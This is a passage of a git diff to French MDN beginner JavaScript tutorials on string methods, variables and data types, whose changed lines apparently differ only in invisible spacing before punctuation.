autre chaîne plus grande (on dit en général _si une sous-chaîne est présente à l'intérieur d'une chaîne_). La méthode {{jsxref("String.prototype.indexOf()", "indexOf()")}} permet de le faire ; elle prend un unique ({{glossary("parameter")}}) — la sous-chaîne recherchée. Essayez : +1. Parfois, vous aurez besoin de trouver si une chaîne est présente à l'intérieur d'une autre chaîne plus grande (on dit en général _si une sous-chaîne est présente à l'intérieur d'une chaîne_). La méthode {{jsxref("String.prototype.indexOf()", "indexOf()")}} permet de le faire ; elle prend un unique ({{glossary("parameter")}}) — la sous-chaîne recherchée. Essayez : ```js browserType.indexOf('zilla'); ``` - La commande donne 2 comme résultat, car la sous-chaîne « zilla » commence à la position 2 (0, 1, 2 — donc au troisième caractère) dans « mozilla ». Un tel code s'utilise pour filtrer des chaînes. Par exemple, vous pourriez avoir une liste d'adresses web et ne vouloir afficher que celles qui contiennent « mozilla ». + La commande donne 2 comme résultat, car la sous-chaîne « zilla » commence à la position 2 (0, 1, 2 — donc au troisième caractère) dans « mozilla ». Un tel code s'utilise pour filtrer des chaînes. Par exemple, vous pourriez avoir une liste d'adresses web et ne vouloir afficher que celles qui contiennent « mozilla ». -2. On peut faire cela autrement, peut-être plus efficacement encore. Écrivez : +2. On peut faire cela autrement, peut-être plus efficacement encore. Écrivez : ```js browserType.indexOf('vanilla'); ``` - Cela doit vous donner `-1` comme résultat — renvoyé quand la sous-chaîne, en l'occurence « vanilla », n'est pas trouvée dans la chaîne principale. + Cela doit vous donner `-1` comme résultat — renvoyé quand la sous-chaîne, en l'occurence « vanilla », n'est pas trouvée dans la chaîne principale. - Vous pouvez utiliser cette propriété pour trouver tous les cas de chaînes **ne** **contenant** **pas** la sous-chaîne « mozilla », ou bien **la contenant**, si vous utilisez l'opérateur négation logique, tel que montré ci-dessous. Vous pourriez faire quelque chose comme : + Vous pouvez utiliser cette propriété pour trouver tous les cas de chaînes **ne** **contenant** **pas** la sous-chaîne « mozilla », ou bien **la contenant**, si vous utilisez l'opérateur négation logique, tel que montré ci-dessous. Vous pourriez faire quelque chose comme : ```js if(browserType.indexOf('mozilla') !== -1) { @@ -214,23 +214,23 @@ La longueur de « mozilla » est de 7 caractères, mais comme le décompte s } ``` -3. Lorsque vous savez où la sous-chaîne commence à l'intérieur de la chaîne, et savez à quel caractère elle prend fin, vous pouvez utiliser {{jsxref("String.prototype.slice()", "slice()")}} pour l'extraire. Voyez ce code : +3. Lorsque vous savez où la sous-chaîne commence à l'intérieur de la chaîne, et savez à quel caractère elle prend fin, vous pouvez utiliser {{jsxref("String.prototype.slice()", "slice()")}} pour l'extraire. Voyez ce code : ```js browserType.slice(0,3); ``` - Il renvoie « moz » — le premier paramètre est la position du caractère où doit commencer l'extraction, et le second paramètre est la position du caractère se trouvant après le dernier à extraire. Ainsi, l'extraction va de la première position à la dernière, celle-ci non comprise. On peut dire, dans notre cas, que le second paramètre est égal à la longueur de la chaîne retournée. + Il renvoie « moz » — le premier paramètre est la position du caractère où doit commencer l'extraction, et le second paramètre est la position du caractère se trouvant après le dernier à extraire. Ainsi, l'extraction va de la première position à la dernière, celle-ci non comprise. On peut dire, dans notre cas, que le second paramètre est égal à la longueur de la chaîne retournée. -4. Également, si vous souhaitez extraire tous les caractères après un caractère donné jusqu'à la fin de la chaîne, vous n'avez pas à mettre le second paramètre ! Il suffit d'indiquer la position du caractère à partir duquel vous voulez extraire les caractères restants dans la chaîne. Essayez la commande : +4. Également, si vous souhaitez extraire tous les caractères après un caractère donné jusqu'à la fin de la chaîne, vous n'avez pas à mettre le second paramètre ! Il suffit d'indiquer la position du caractère à partir duquel vous voulez extraire les caractères restants dans la chaîne. Essayez la commande : ```js browserType.slice(2); ``` - Elle renvoie « zilla » — le caractère à la position 2 est « z » et comme nous n'avons pas mis de second paramètre, la sous-chaîne retournée comporte tous les caractères restants de la chaîne. + Elle renvoie « zilla » — le caractère à la position 2 est « z » et comme nous n'avons pas mis de second paramètre, la sous-chaîne retournée comporte tous les caractères restants de la chaîne. -> **Note :** Le second paramètre de `slice()` est optionnel : s'il n'est pas defini, l'extraction va jusqu'à la fin de la chaîne originale. Il existe aussi d'autres options, allez à la page de {{jsxref("String.prototype.slice()", "slice()")}} pour voir ces autres options. +> **Note :** Le second paramètre de `slice()` est optionnel : s'il n'est pas defini, l'extraction va jusqu'à la fin de la chaîne originale. Il existe aussi d'autres options, allez à la page de {{jsxref("String.prototype.slice()", "slice()")}} pour voir ces autres options. ### Changer la casse @@ -254,13 +254,13 @@ La méthode prend deux paramètres — la chaîne que vous voulez remplacer et l browserType.replace('moz','van'); ``` -À noter : pour que, dans un programme réel, la variable `browserType` reflète effectivement la valeur actualisée, il faut assigner à la valeur de la variable le résultat de l'opération ; cette dernière ne met pas à jour automatiquement la valeur de la sous-chaîne. Pour ce faire, il faut écrire : `browserType = browserType.replace('moz','van');`. +À noter : pour que, dans un programme réel, la variable `browserType` reflète effectivement la valeur actualisée, il faut assigner à la valeur de la variable le résultat de l'opération ; cette dernière ne met pas à jour automatiquement la valeur de la sous-chaîne. Pour ce faire, il faut écrire : `browserType = browserType.replace('moz','van');`. ## Apprendre en pratiquant -Dans cette section, vous allez pouvoir vous entraîner à écrire du code de manipulation de chaîne. Dans chacun des exercices ci-dessous, nous avons un tableau de chaînes, une boucle qui traîte chaque valeur dans le tableau et l'affiche dans une liste à puces. Vous n'avez pas besoin de comprendre comment fonctionnent les tableaux ou les boucles dès maintenant — cela vous sera expliqué dans de prochains articles. Tout ce dont vous avez besoin dans chaque cas est d'écrire le code qui va renvoyer les chaînes dans le format souhaité. +Dans cette section, vous allez pouvoir vous entraîner à écrire du code de manipulation de chaîne. Dans chacun des exercices ci-dessous, nous avons un tableau de chaînes, une boucle qui traîte chaque valeur dans le tableau et l'affiche dans une liste à puces. Vous n'avez pas besoin de comprendre comment fonctionnent les tableaux ou les boucles dès maintenant — cela vous sera expliqué dans de prochains articles. Tout ce dont vous avez besoin dans chaque cas est d'écrire le code qui va renvoyer les chaînes dans le format souhaité. -Chaque exemple est accompagné d'un bouton « Réinitialiser », que vous pouvez utiliser pour réinitialiser le code si vous faites une erreur et que vous ne parvenez pas à la corriger, et un bouton « Montrer la solution » sur lequel vous pouvez cliquer pour afficher une réponse possible si jamais vous êtes vraiment bloqué. +Chaque exemple est accompagné d'un bouton « Réinitialiser », que vous pouvez utiliser pour réinitialiser le code si vous faites une erreur et que vous ne parvenez pas à la corriger, et un bouton « Montrer la solution » sur lequel vous pouvez cliquer pour afficher une réponse possible si jamais vous êtes vraiment bloqué. ### Filtrer des messages de vœux @@ -327,7 +327,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n \'Merry Christmas my love\',\n \'A happy Christmas to all the family\',\n \'You\\\'re all I want for Christmas\',\n \'Get well soon\'];\n\nfor(var i = 0; i < greetings.length; i++) {\n var input = greetings[i];\n if(greetings[i].indexOf(\'Christmas\') !== -1) {\n var result = input;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n }\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n \'Merry Christmas my love\',\n \'A happy Christmas to all the family\',\n \'You\\\'re all I want for Christmas\',\n \'Get well soon\'];\n\nfor(var i = 0; i < greetings.length; i++) {\n var input = greetings[i];\n if(greetings[i].indexOf(\'Christmas\') !== -1) {\n var result = input;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n }\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); @@ -396,7 +396,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); @@ -477,7 +477,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n \'GNF576746573fhdg4737dh4;Greenfield\',\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n \'SYB4f65hf75f736463;Stalybridge\',\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i < stations.length; i++) {\n var input = stations[i];\n var code = input.slice(0,3);\n var semiC = input.indexOf(\';\');\n var name = input.slice(semiC + 1);\n var result = code + \': \' + name;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n \'GNF576746573fhdg4737dh4;Greenfield\',\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n \'SYB4f65hf75f736463;Stalybridge\',\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i < stations.length; i++) {\n var input = stations[i];\n var code = input.slice(0,3);\n var semiC = input.indexOf(\';\');\n var name = input.slice(semiC + 1);\n var result = code + \': \' + name;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n}'; textarea.addEventListener('input', updateCode); diff --git a/files/fr/learn/javascript/first_steps/variables/index.md b/files/fr/learn/javascript/first_steps/variables/index.md index f95a52cfa5..069edb90f5 100644 --- a/files/fr/learn/javascript/first_steps/variables/index.md +++ b/files/fr/learn/javascript/first_steps/variables/index.md @@ -10,14 +10,14 @@ Après lecture des deux articles précédents, vous savez maintenant ce qu'est J <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript. </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Se familiariser avec l'usage élémentaire des variables en JavaScript. </td> @@ -31,9 +31,9 @@ Tout au long de cet article, on vous demandera de saisir des lignes de code pour Toutefois, nous avons aussi incorporé une console JavaScript dans cette page pour vous permettre d'y écrire le code au cas où vous n'utiliseriez pas un navigateur avec une console JavaScript facilement accessible, ou si vous estimez qu'une console incorporée est plus confortable. -## Qu'est ce qu'une variable ? +## Qu'est ce qu'une variable ? -Une variable est un conteneur pour une valeur, tel un nombre à utiliser pour une addition, ou une chaîne devant faire partie d'une phrase. Mais un aspect spécial des variables est que les valeurs contenues peuvent changer. Voyons un exemple simple : +Une variable est un conteneur pour une valeur, tel un nombre à utiliser pour une addition, ou une chaîne devant faire partie d'une phrase. Mais un aspect spécial des variables est que les valeurs contenues peuvent changer. Voyons un exemple simple : ```html <button>Pressez moi</button> @@ -43,40 +43,40 @@ Une variable est un conteneur pour une valeur, tel un nombre à utiliser pour un const button = document.querySelector('button'); button.onclick = function() { - let name = prompt('Quel est votre nom ?'); - alert('Salut ' + name + ', sympa de vous voir !'); + let name = prompt('Quel est votre nom ?'); + alert('Salut ' + name + ', sympa de vous voir !'); } ``` {{ EmbedLiveSample('Qu\'est_ce_qu\'une_variable_?', '100%', 50) }} -Dans cet exemple, presser le bouton déclenche l'exécution de quelques lignes de code. La première ligne affiche à l'écran une boîte priant l'utilisateur de saisir son nom et stocke la valeur entrée dans une variable. La deuxième affiche un message de bienvenue avec la valeur de la variable. +Dans cet exemple, presser le bouton déclenche l'exécution de quelques lignes de code. La première ligne affiche à l'écran une boîte priant l'utilisateur de saisir son nom et stocke la valeur entrée dans une variable. La deuxième affiche un message de bienvenue avec la valeur de la variable. -Pour comprendre le pratique de la chose, imaginons comment nous aurions du coder cet exemple sans utiliser de variable. Serait-ce comme cela ? +Pour comprendre le pratique de la chose, imaginons comment nous aurions du coder cet exemple sans utiliser de variable. Serait-ce comme cela ? ```plain example-bad -let name = prompt('Quel est votre nom ?'); +let name = prompt('Quel est votre nom ?'); if (name === 'Adam') { - alert('Salut Adam, sympa de vous voir !'); + alert('Salut Adam, sympa de vous voir !'); } else if (name === 'Alan') { - alert('Salut Alan, sympa de vous voir !'); + alert('Salut Alan, sympa de vous voir !'); } else if (name === 'Bella') { - alert('Salut Bella, sympa de vous voir !'); + alert('Salut Bella, sympa de vous voir !'); } else if (name === 'Bianca') { - alert('Salut Bianca, sympa de vous voir !'); + alert('Salut Bianca, sympa de vous voir !'); } else if (name === 'Chris') { - alert('Salut Chris, sympa de vous voir !'); + alert('Salut Chris, sympa de vous voir !'); } // ... etc. ``` -Peut-être ne comprenez‑vous pas (encore !) la syntaxe utilisée, mais vous l'imaginerez sans peine — si nous n'avions pas de variables à disposition, nous devrions implémenter un bloc de code géant qui vérifierait quel était le nom saisi, puis afficherait un message approprié à ce nom. Cela est évidemment inefficace (le code est déjà plus volumineux avec seulement quatre possibilités) et il ne fonctionnerait certainement pas — il n'est pas possible de stocker tous les choix possibles. +Peut-être ne comprenez‑vous pas (encore !) la syntaxe utilisée, mais vous l'imaginerez sans peine — si nous n'avions pas de variables à disposition, nous devrions implémenter un bloc de code géant qui vérifierait quel était le nom saisi, puis afficherait un message approprié à ce nom. Cela est évidemment inefficace (le code est déjà plus volumineux avec seulement quatre possibilités) et il ne fonctionnerait certainement pas — il n'est pas possible de stocker tous les choix possibles. -Les variables sont essentielles et à mesure que vous en apprendrez plus sur JavaScript, elles deviendront une seconde nature pour vous. +Les variables sont essentielles et à mesure que vous en apprendrez plus sur JavaScript, elles deviendront une seconde nature pour vous. -Une autre particularité des variables : elle peuvent contenir pratiquement de tout — pas uniquement des chaînes ou des nombres. Elles peuvent aussi contenir des données complexes et même des fonctions, ce qui permet de réaliser des choses étonnantes. Vous en apprendrez plus à ce propos au long de ce parcours. +Une autre particularité des variables : elle peuvent contenir pratiquement de tout — pas uniquement des chaînes ou des nombres. Elles peuvent aussi contenir des données complexes et même des fonctions, ce qui permet de réaliser des choses étonnantes. Vous en apprendrez plus à ce propos au long de ce parcours. > **Note :** Nous disons que les variables contiennent des valeurs. C'est un distingo important. Les variables ne sont pas les valeurs elles‑mêmes : ce sont des conteneurs pour ces valeurs. Vous pouvez vous les représenter comme une boîte en carton dans laquelle il est possible de ranger des choses. @@ -84,7 +84,7 @@ Une autre particularité des variables : elle peuvent contenir pratiquement de ## Déclarer une variable -Avant de se servir d'une variable, il faut d'abord la créer — plus précisément, nous disons _déclarer la variable_. Pour ce faire, nous saisissons le mot‑clé `var` ou `let` suivi du nom que vous voulez donner à la variable : +Avant de se servir d'une variable, il faut d'abord la créer — plus précisément, nous disons _déclarer la variable_. Pour ce faire, nous saisissons le mot‑clé `var` ou `let` suivi du nom que vous voulez donner à la variable : ```js let myName; @@ -168,8 +168,8 @@ Dans ces lignes, nous venons de créer deux variables nommées respectivement `m document.body.appendChild(inputDiv); if(document.querySelectorAll('div').length > 1) { - inputForm.focus(); - } + inputForm.focus(); + } inputForm.addEventListener('change', executeCode); } @@ -212,43 +212,43 @@ myName; myAge; ``` -Actuellement elles ne contiennent aucune valeur ; ce sont des conteneurs vides. Quand vous entrez les noms des variables, vous obtiendrez la valeur `undefined` en retour. Si elles n'existent pas, vous aurez un message d'erreur — essayez en saisissant +Actuellement elles ne contiennent aucune valeur ; ce sont des conteneurs vides. Quand vous entrez les noms des variables, vous obtiendrez la valeur `undefined` en retour. Si elles n'existent pas, vous aurez un message d'erreur — essayez en saisissant ```js scoobyDoo; ``` -> **Note :** Ne confondez pas une variable qui existe mais sans valeur définie avec une variable qui n'existe pas du tout — ce sont deux choses tout à fait différentes. Dans l'analogie des boîtes, _ne pas exister_ correspond à l'absence de boîte ; *valeur indéfinie* correspond à une boîte vide. +> **Note :** Ne confondez pas une variable qui existe mais sans valeur définie avec une variable qui n'existe pas du tout — ce sont deux choses tout à fait différentes. Dans l'analogie des boîtes, _ne pas exister_ correspond à l'absence de boîte ; *valeur indéfinie* correspond à une boîte vide. ## Initialisation d'une variable -Une fois la variable déclarée, vous pouvez l'initialiser avec une valeur. On réalise cela en saisissant le nom de la variable, suivi d'un signe égale (`=`), lui-même suivi de la valeur souhaitée pour la variable. Par exemple : +Une fois la variable déclarée, vous pouvez l'initialiser avec une valeur. On réalise cela en saisissant le nom de la variable, suivi d'un signe égale (`=`), lui-même suivi de la valeur souhaitée pour la variable. Par exemple : ```js myName = 'Chris'; myAge = 37; ``` -Revenez à la console maintenant et saisissez‑y ces deux lignes. Constatez que la console renvoie en confirmation la valeur assignée à la variable dans chaque cas. Vous pouvez, à nouveau, faire renvoyer par la console les valeurs de variable en saisissant simplement son nom dans la console — essayez encore : +Revenez à la console maintenant et saisissez‑y ces deux lignes. Constatez que la console renvoie en confirmation la valeur assignée à la variable dans chaque cas. Vous pouvez, à nouveau, faire renvoyer par la console les valeurs de variable en saisissant simplement son nom dans la console — essayez encore : ```js myName; myAge; ``` -Il est possible de déclarer et initialiser une variable en même temps, comme ceci : +Il est possible de déclarer et initialiser une variable en même temps, comme ceci : ```js let myDog = 'Rover'; ``` -C'est probablement ce que vous ferez la plupart du temps, c'est plus rapide que d'effectuer ces deux actions sur deux lignes distinctes. +C'est probablement ce que vous ferez la plupart du temps, c'est plus rapide que d'effectuer ces deux actions sur deux lignes distinctes. ## La différence entre `var` et `let` A ce moment de votre apprentissage, vous vous demandez sans doute : mais quel besoin de deux mot-clé pour définir une variable ? Pourquoi `var` et `let` ? -Les raisons sont d'ordre historique. A l'origine, quand Javascript fut créé, il n'y avait que `var`. Cela fonctionnait plutôt bien dans la plupart des cas, avec parfois quelques surprises -- l'implémentation étonnante du `var` peut amener à une mauvaise interprétation, voire à des soucis. Ainsi, `let` a été ajouté dans les versions plus récentes de Javascript, un nouveau mot-clé pour créer des variables, avec un fonctionnement différent de celui du `var`, réglant ainsi les difficultés évoquées ci-dessus. +Les raisons sont d'ordre historique. A l'origine, quand Javascript fut créé, il n'y avait que `var`. Cela fonctionnait plutôt bien dans la plupart des cas, avec parfois quelques surprises -- l'implémentation étonnante du `var` peut amener à une mauvaise interprétation, voire à des soucis. Ainsi, `let` a été ajouté dans les versions plus récentes de Javascript, un nouveau mot-clé pour créer des variables, avec un fonctionnement différent de celui du `var`, réglant ainsi les difficultés évoquées ci-dessus. Nous évoquons ci-dessous quelques unes de ces différences, sans pouvoir faire ici le tour complet de la question. Vous comprendrez mieux la différence entre ces deux constructions au fur et à mesure de votre progression en JavaScript (si vous ne pouvez pas attendre, consultez la page de référence du `let`). @@ -266,9 +266,9 @@ logName(); var myName; ``` -> **Note :** l'exemple ci-dessus ne fonctionnera pas si on tape des lignes une à une dans la console, mais seulement quand on exécute un script JavaScript multi-lignes dans un document web. +> **Note :** l'exemple ci-dessus ne fonctionnera pas si on tape des lignes une à une dans la console, mais seulement quand on exécute un script JavaScript multi-lignes dans un document web. -Ce processus se nomme **«** **hoisting »** (en français, "hissage") — lisez [var hoisting](/fr/docs/Web/JavaScript/Reference/Statements/var#var_hoisting) pour plus de précisions sur ce sujet. +Ce processus se nomme **«** **hoisting »** (en français, "hissage") — lisez [var hoisting](/fr/docs/Web/JavaScript/Reference/Statements/var#var_hoisting) pour plus de précisions sur ce sujet. Le hissage ne fonctionne plus avec `let`. Si on remplaçait var par let dans l'exemple ci-dessus, l'exécution du script planterait sur une erreur. C'est une bonne chose — déclarer une variable après l'avoir initialisé produit un code obscur, difficile à lire. @@ -279,7 +279,7 @@ var myName = 'Chris'; var myName = 'Bob'; ``` -Celui là produit une erreur sur la seconde ligne : +Celui là produit une erreur sur la seconde ligne : ```js let myName = 'Chris'; @@ -294,13 +294,13 @@ let myName = 'Chris' ; myName = 'Bob' ; ``` -Encore une fois, c'est une décision sensée des concepteurs du langage. Il n'y a aucune bonne raison de redéclarer une variable — cela rend les choses obscures. +Encore une fois, c'est une décision sensée des concepteurs du langage. Il n'y a aucune bonne raison de redéclarer une variable — cela rend les choses obscures. Pour ces raisons, et d'autres, nous recommandons d'utiliser `let` plutôt que `var`. Il n'y a pas de bonne raison d'utiliser `var`, sauf à rechercher la compatibilité avec de vieilles versions d'Internet Explorer (pas de support du `let` avant la version 11 ; le support de `let` par le navigateur Edge ne pose pas de problème). ## Mise à jour d'une variable -Une fois la variable initialisée avec une valeur, vous pouvez simplement modifier (ou mettre à jour) cette valeur en lui assignant une nouvelle valeur. Entrez ces deux lignes dans la console : +Une fois la variable initialisée avec une valeur, vous pouvez simplement modifier (ou mettre à jour) cette valeur en lui assignant une nouvelle valeur. Entrez ces deux lignes dans la console : ```js myName = 'Bob'; @@ -309,19 +309,19 @@ myAge = 40; ### Aparté concernant les règles de nommage des variables -Vous pouvez nommer une variable comme vous l'entendez, mais il y a des restrictions. Généralement, il convient de se limiter à l'emploi des caractères latins (0-9, a-z, A-Z) et du underscore ( \_ ). +Vous pouvez nommer une variable comme vous l'entendez, mais il y a des restrictions. Généralement, il convient de se limiter à l'emploi des caractères latins (0-9, a-z, A-Z) et du underscore ( \_ ). -- N'utilisez pas d'autres caractères ; ils pourraient entraîner des erreurs ou être difficiles à comprendre pour un auditoire international. -- N'utilisez pas le underscore comme premier caractère d'un nom de variable — cette façon d'opérer est utilisée dans certaines constructions JavaScript pour signer certaines spécificités ; il pourrait y avoir confusion. +- N'utilisez pas d'autres caractères ; ils pourraient entraîner des erreurs ou être difficiles à comprendre pour un auditoire international. +- N'utilisez pas le underscore comme premier caractère d'un nom de variable — cette façon d'opérer est utilisée dans certaines constructions JavaScript pour signer certaines spécificités ; il pourrait y avoir confusion. - Ne mettez pas un chiffre en début de nom de variable. Ce n'est pas permis et provoque une erreur. -- Une convention sûre, nommée ["lower camel case"](https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms) (dos de chameau), consiste à accoler plusieurs mots en mettant le premier en minuscules les suivants commençant par une majuscule. Dans cet article, nous avons adopté cette convention pour les noms de variables. -- Prenez des noms de variable intuitifs, décrivant les données que la variable contient. Évitez les noms se limitant à un caractère ou à l'inverse des noms trop longs, trop verbeux. -- Les variables sont sensibles à la casse — donc `myage` et `myAge` correspondent à deux variables différentes. -- Enfin les _mots réservés_ du langage JavaScript ne peuvent pas être choisis comme nom pour une variable — les mots réservés sont les mots qui font effectivement partie de la syntaxe du JavaScript. Donc, vous ne pouvez pas utiliser des mots comme `var`, `function`, `let` ou `for` comme noms de variable. Les navigateurs les reconnaîtront en tant qu'éléments de code, et cela déclenchera des erreurs. +- Une convention sûre, nommée ["lower camel case"](https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms) (dos de chameau), consiste à accoler plusieurs mots en mettant le premier en minuscules les suivants commençant par une majuscule. Dans cet article, nous avons adopté cette convention pour les noms de variables. +- Prenez des noms de variable intuitifs, décrivant les données que la variable contient. Évitez les noms se limitant à un caractère ou à l'inverse des noms trop longs, trop verbeux. +- Les variables sont sensibles à la casse — donc `myage` et `myAge` correspondent à deux variables différentes. +- Enfin les _mots réservés_ du langage JavaScript ne peuvent pas être choisis comme nom pour une variable — les mots réservés sont les mots qui font effectivement partie de la syntaxe du JavaScript. Donc, vous ne pouvez pas utiliser des mots comme `var`, `function`, `let` ou `for` comme noms de variable. Les navigateurs les reconnaîtront en tant qu'éléments de code, et cela déclenchera des erreurs. -> **Note :** Une liste exhaustive des mots réservés est proposée dans la page [Lexical grammar — keywords](/fr/docs/Web/JavaScript/Reference/Lexical_grammar#keywords). +> **Note :** Une liste exhaustive des mots réservés est proposée dans la page [Lexical grammar — keywords](/fr/docs/Web/JavaScript/Reference/Lexical_grammar#keywords). -Exemples de noms corrects : +Exemples de noms corrects : ```plain example-good age @@ -333,7 +333,7 @@ audio1 audio2 ``` -Exemples de noms incorrects (soit illégal, soit non conforme aux recommandations) : +Exemples de noms incorrects (soit illégal, soit non conforme aux recommandations) : ```plain example-bad 1 @@ -347,7 +347,7 @@ skjfndskjfnbdskjfb thisisareallylongstupidvariablenameman ``` -Parmi ces noms, les suivants déclenchent une `SyntaxError` : +Parmi ces noms, les suivants déclenchent une `SyntaxError` : ```js example-bad 1 //la variable commence par un chiffre @@ -381,37 +381,37 @@ var dolphinGoodbye = 'So long and thanks for all the fish'; ### Booléens -Les booléens sont des valeurs true/false (vrai/faux) — elles ne peuvent prendre que deux valeurs: `true` ou `false`. Elles sont généralement utilisées pour tester une condition, à la suite de laquelle le code est exécuté de manière appropriée. Ainsi, par exemple, un cas simple pourrait être : +Les booléens sont des valeurs true/false (vrai/faux) — elles ne peuvent prendre que deux valeurs: `true` ou `false`. Elles sont généralement utilisées pour tester une condition, à la suite de laquelle le code est exécuté de manière appropriée. Ainsi, par exemple, un cas simple pourrait être : ```js var iAmAlive = true; ``` -Toutefois, en réalité, un booléen sera plutôt utilisé ainsi : +Toutefois, en réalité, un booléen sera plutôt utilisé ainsi : ```js var test = 6 < 3; ``` -Cette expression utilise l'opérateur « inférieur à » (`<`) pour tester si 6 est plus petit que 3. Comme vous pouvez vous y attendre, cette expression renverra `false`, car 6 n'est pas plus petit que 3 ! Vous en apprendrez bien plus à propos de ces opérateurs plus loin dans ce cours. +Cette expression utilise l'opérateur « inférieur à » (`<`) pour tester si 6 est plus petit que 3. Comme vous pouvez vous y attendre, cette expression renverra `false`, car 6 n'est pas plus petit que 3 ! Vous en apprendrez bien plus à propos de ces opérateurs plus loin dans ce cours. ### Tableaux -Une tableau est un objet unique contenant plusieurs valeurs entre crochets séparées par des virgules. Saisissez les lignes suivantes dans la console : +Une tableau est un objet unique contenant plusieurs valeurs entre crochets séparées par des virgules. Saisissez les lignes suivantes dans la console : ```js var myNameArray = ['Chris', 'Bob', 'Jim']; var myNumberArray = [10,15,40]; ``` -Un fois ces tableaux définis, vous pouvez avoir accès à chaque valeur en fonction de leur emplacement dans le tableau. Voyez ces lignes : +Un fois ces tableaux définis, vous pouvez avoir accès à chaque valeur en fonction de leur emplacement dans le tableau. Voyez ces lignes : ```js myNameArray[0]; // renverra 'Chris' myNumberArray[2]; // renverra 40 ``` -La valeur entre crochets précise l'index correspondant à la position de la valeur que vous souhaitez voir renvoyée. Vous remarquerez que les tableaux en JavaScript sont indexés à partir de zéro : le premier élément a l'index 0. +La valeur entre crochets précise l'index correspondant à la position de la valeur que vous souhaitez voir renvoyée. Vous remarquerez que les tableaux en JavaScript sont indexés à partir de zéro : le premier élément a l'index 0. Vous en apprendrez beaucoup plus au sujet des tableaux dans un article suivant. @@ -419,13 +419,13 @@ Vous en apprendrez beaucoup plus au sujet des tableaux dans un article suivant. En programmation, un objet est une structure de code qui modélise un objet du réel. Vous pouvez avoir un objet simple représentant une place de parking avec sa largeur et sa profondeur ou bien un objet représentant une personne avec comme données son nom, sa taille, son poids, son vernaculaire, comment le contacter, et plus encore. -Entrez la ligne suivant dans la console de votre explorateur : +Entrez la ligne suivant dans la console de votre explorateur : ```js var dog = { name : 'Spot', breed : 'Dalmatian' }; ``` -Pour récupérer une information stockée dans un objet, vous pouvez utiliser la syntaxe suivante : +Pour récupérer une information stockée dans un objet, vous pouvez utiliser la syntaxe suivante : ```js dog.name @@ -435,15 +435,15 @@ Nous en resterons là avec les objets pour le moment — vous en saurez plus à ## Typage faible -JavaScript est un « langage faiblement typé », ce qui veut dire que, contrairement à d'autres langages, vous n'êtes pas obligé de préciser quel est le type de donnée que doit contenir une variable (par ex. nombres, chaînes, tableaux, etc). +JavaScript est un « langage faiblement typé », ce qui veut dire que, contrairement à d'autres langages, vous n'êtes pas obligé de préciser quel est le type de donnée que doit contenir une variable (par ex. nombres, chaînes, tableaux, etc). -Par exemple, si vous déclarez une variable et si vous y placez une valeur entre guillemets, le navigateur la traitera comme étant une chaîne : +Par exemple, si vous déclarez une variable et si vous y placez une valeur entre guillemets, le navigateur la traitera comme étant une chaîne : ```js var myString = 'Hello'; ``` -Ce sera toujours une chaîne, même si ce sont des nombres, donc soyez prudents : +Ce sera toujours une chaîne, même si ce sont des nombres, donc soyez prudents : ```js var myNumber = '500'; // oops, c'est toujours une chaîne diff --git a/files/fr/learn/javascript/first_steps/what_is_javascript/index.md b/files/fr/learn/javascript/first_steps/what_is_javascript/index.md index a57bb397aa..c19f2ce355 100644 --- a/files/fr/learn/javascript/first_steps/what_is_javascript/index.md +++ b/files/fr/learn/javascript/first_steps/what_is_javascript/index.md @@ -5,12 +5,12 @@ translation_of: Learn/JavaScript/First_steps/What_is_JavaScript --- {{LearnSidebar}}{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}} -Bienvenue dans le cours JavaScript pour débutants sur le MDN. Dans ce premier article nous donnons une description générale de JavaScript en présentant le « pourquoi » et le « comment » du JavaScript. L'objectif est que vous compreniez bien son but. +Bienvenue dans le cours JavaScript pour débutants sur le MDN. Dans ce premier article nous donnons 